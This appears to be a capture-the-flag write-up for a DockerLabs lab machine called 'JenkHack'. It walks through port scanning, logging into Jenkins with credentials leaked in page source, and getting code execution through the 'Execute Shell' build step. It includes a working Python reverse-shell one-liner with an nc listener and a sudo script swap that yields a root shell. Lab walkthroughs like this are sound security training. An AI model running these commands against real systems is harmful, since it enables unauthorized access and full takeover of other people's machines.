> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/jenkhack.md). # JenkHack ## 1 - Reconnaissance We begin with a fast Nmap scan to identify open ports: `nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5` **Result: ports 80,443 and 8080 are open** ## 2 - Enumeration Now we run a service/version detection scan, targeting only the open ports we found on the previous scan: `nmap 172.17.0.2 -p 80,443,8080 -sS -Pn -sCV`

We start exploring the websites, hosted on ports 80 and 8080. On the first one, we didn't find anything relevant other than an email, , but the second one has a Jenkins login panel. After testing, we discover that this panel is not vulnerable to SQLi. Reading the source code of the website hosted on port 80, we found potential credentials:

User: jenkins-admin Pass: cassandra After testing them on the admin panel from the website running on port 8080, we found that they're valid for the admin account. We land on a Jenkins Admin panel, and browsing the website we found an "Execute Shell" tab on the build, so we have RCE (Remote Code Execution). Knowing this, we could establish a reverse shell to interact directly with the machine. ## 3 - Exploitation Running ``` python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",3110));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' ``` we establish a reverse shell, and with `nc -lvnp 3110` on our terminal, we setup a listener to catch it. We will upgrade the reverse shell to a fully interactive shell using Python. First we will run `which python python2 python3` to know the version that the server is running. After it, we see that the server is running python3, so we execute this command: `python3 -c 'import pty;pty.spawn("/bin/bash")';` Now we will send temporarily our shell to the background with `CTRL+Z` and we will run: ``` stty raw -echo;stty size;fg ``` That way we will be able to send control characters through the reverse shell without killing it. Also, we will know the size of our terminal in rows and columns. For example, mine is 46 rows and 207 columns. After that, we will run `fg` to return to the reverse shell, and we will run this: ``` export SHELL=kitty stty rows 46 columns 207 export TERM=xterm-256color ``` Now, we have a fully interactive tty that won't get killed if we run `CTRL+C`, and will be as functional as our local one. Browsing /var/www we found a directory named jenkhack. Going inside we found a potential hash:

After passing it to Cyberchef, we found a valid password: `jenkinselmejor`. We run `su jenkhack` and use the password we have just discovered. ## 4 - Flag Capture (user) As we're on jenkhack user, navigating to `/home/jenkhack` will show us user.txt

## 5 - Privilege Escalation Running `sudo -l` we can see that user jenkhack has permissions on /usr/local/bin/bash, so we try to run `/usr/local/bin/bash -p`, but we found a custom output instead of spawning a shell: ``` Welcome to the bash application! Running command... This is the bash script running. ``` Using `cat /usr/local/bin/bash` we discover that is pointing to `opt/bash.sh`. After deleting it and creating a new script with this content: ``` #!/bin/bash exec /bin/bash ``` And running it again, we spawned a root shell. As we can see, we're now root user.

## 6 - Flag Capture (root) After escalating privileges to root, all we have to do is running `cd /root` and we will find the root.txt flag there.

## 7 - Summary **Initial Access:** Obtained valid credentials by discovering exposed credentials on source code. **Execution:** Gained Remote Code Execution (RCE) by injecting a Python3 reverse shell into an "Execute Shell" tab on the admin tab. **Privilege Escalation:** Elevated privileges to root using `sudo` permissions on `/usr/local/bin/bash`, as it was allowed for the `jenkhack` user. Modified a script on `/opt/bash.sh` that prevented the binary to spawn the shell properly.